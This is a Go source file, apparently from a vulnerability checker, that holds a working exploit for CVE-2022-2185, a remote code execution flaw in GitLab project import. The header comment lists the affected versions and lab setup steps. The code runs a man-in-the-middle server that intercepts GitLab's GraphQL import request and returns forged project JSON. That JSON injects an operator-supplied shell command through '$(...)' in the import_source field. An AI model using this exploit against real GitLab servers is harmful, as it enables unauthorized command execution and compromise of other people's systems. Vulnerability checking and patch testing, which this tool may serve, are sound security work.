package gitlab

import (
	"io"
	"net/http"
	"net/http/httputil"
	"net/url"
)

/*
CVE-2022-2185 影响范围从 GitLab 14.0 开始，影响范围为如下版本：
14.0 <= GitLab（CE/EE/JH）< 14.10.5
15.0 <= GitLab（CE/EE/JH）< 15.0.4
15.1 <= GitLab（CE/EE/JH）< 15.1.1

https://mirrors.tuna.tsinghua.edu.cn/help/gitlab-ce/
https://starlabs.sg/blog/2022/07-gitlab-project-import-rce-analysis-cve-2022-2185/
docker run -it -p 80:80 -p 443:443 ubuntu:latest /bin/bash
apt update
apt install make git -y
apt install curl sudo -y

apt install nodejs  redis ruby -y
apt install minio postgres yarn -y
apt install build-essential -y
apt-get install manpages-dev -y
apt-get install wget ca-certificates -y
wget --quiet -O - https://www.postgresql.org/media/keys/ACCC4CF8.asc | sudo apt-key add -
apt-get install -y lsb-release
sudo sh -c 'echo "deb http://apt.postgresql.org/pub/repos/apt $(lsb_release -cs)-pgdg main" > /etc/apt/sources.list.d/pgdg.list'
apt-get update
apt install clang -y
apt-get install -y lib32readline8 lib32readline-dev
apt install build-essential checkinstall zlib1g-dev -y
apt install -y gawk mawk
apt-get install libssl-dev -y
apt install -y openssl-devel
apt-get install libcurl4-gnutls-dev -y
apt-get install libxml2-dev -y
apt-get install libreadline-dev -y
apt-get install postgresql postgresql-contrib -y
16
19
apt install postgresql postgresql-contrib -y

useradd gitlab
~~~~~~~~~~pswd  gitlab ~~~~~~~~~~~~
passwd root
passwd gitlab
mkdir /home/gitlab
chown gitlab:gitlab /home/gitlab
su - gitlab

curl "https://gitlab.com/gitlab-org/gitlab-development-kit/-/raw/main/support/install" | bash
回车
https://gitlab.com/gitlab-org/gitlab.git
回车
gitlab


*/
var (
	runCmd  = "/bin/sleep inf"
	proxyTo = "http://localhost:8000/"
)
var proxyToUrl *url.URL

func init() {
	var err error
	proxyToUrl, err = url.Parse(proxyTo)
	if err != nil {
		panic(err)
	}
}

func proxy(w http.ResponseWriter, r *http.Request) {
	// mitm code
	if r.Method == "POST" && r.RequestURI == "/api/graphql" {
		_, err := io.ReadAll(r.Body)
		r.Body.Close()
		if err != nil {
			http.Error(w, err.Error(), http.StatusBadRequest)
			return
		}
		//if bytes.Contains(bb, []byte(importProjectName)) {
		// check target port 80、443才反馈攻击代码
		hd := w.Header()
		hd.Set("Content-Type", "application/json; charset=utf-8")
		hd.Set("Permissions-Policy", "interest-cohort=()")
		hd.Set("Referrer-Policy", "strict-origin-when-cross-origin")
		w.WriteHeader(200)
		w.Write(
			[]byte(
				`{"data":{"project":{"description":"Example plain HTML site using GitLab Pages: https://pages.gitlab.io/plain-html","visibility":"public","archived":false,"created_at":"2022-07-29T08:17:46Z","shared_runners_enabled":true,"container_registry_enabled":false,"only_allow_merge_if_pipeline_succeeds":false,"only_allow_merge_if_all_discussions_are_resolved":false,"request_access_enabled":false,"printing_merge_request_link_enabled":true,"remove_source_branch_after_merge":true,"autoclose_referenced_issues":true,"suggestion_commit_message":null,"wiki_enabled":false,"template_name":"plainhtml","import_source":"$(` + runCmd + `)"}}}`,
			),
		)
		return // do not pass to proxy
		//}
		//else {
		//fmt.Println(string(bb))
		// restore the body that we have read
		//r.Body = io.NopCloser(bytes.NewBuffer(bb))
		//}
	}

	rp := httputil.NewSingleHostReverseProxy(proxyToUrl)
	rp.ServeHTTP(w, r)
}

func DoCheck(runCmd1, proxyTo1 string) {
	runCmd = runCmd1
	proxyTo = proxyTo1
	mux := http.NewServeMux()
	mux.HandleFunc("/", proxy)
	s := &http.Server{
		Addr:    "0.0.0.0:8100",
		Handler: mux,
	}
	s.ListenAndServe()
}
